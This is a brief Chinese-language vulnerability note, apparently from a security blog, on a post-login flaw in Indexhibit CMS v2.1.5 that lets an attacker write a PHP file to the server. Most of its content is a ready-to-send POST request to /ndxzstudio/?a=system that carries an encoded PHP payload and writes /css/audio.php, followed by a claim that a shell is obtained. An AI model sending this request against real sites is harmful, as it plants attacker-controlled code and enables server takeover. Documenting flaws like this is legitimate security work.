# Indexhibit cms v2.1.5 編輯php文件getshell漏洞
==漏洞利用==
當我們登錄進後台後，向/ndxzstudio/?a=system
post數據：
upd_jxcode=true&v=%253C%253Fphp%2520phpinfo()%253B%253F%253E&id=%2Fcss%2Faudio.php
即可在/css/目錄寫入一個php文件audio.php。
成功getshell
© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
请登录后查看评论内容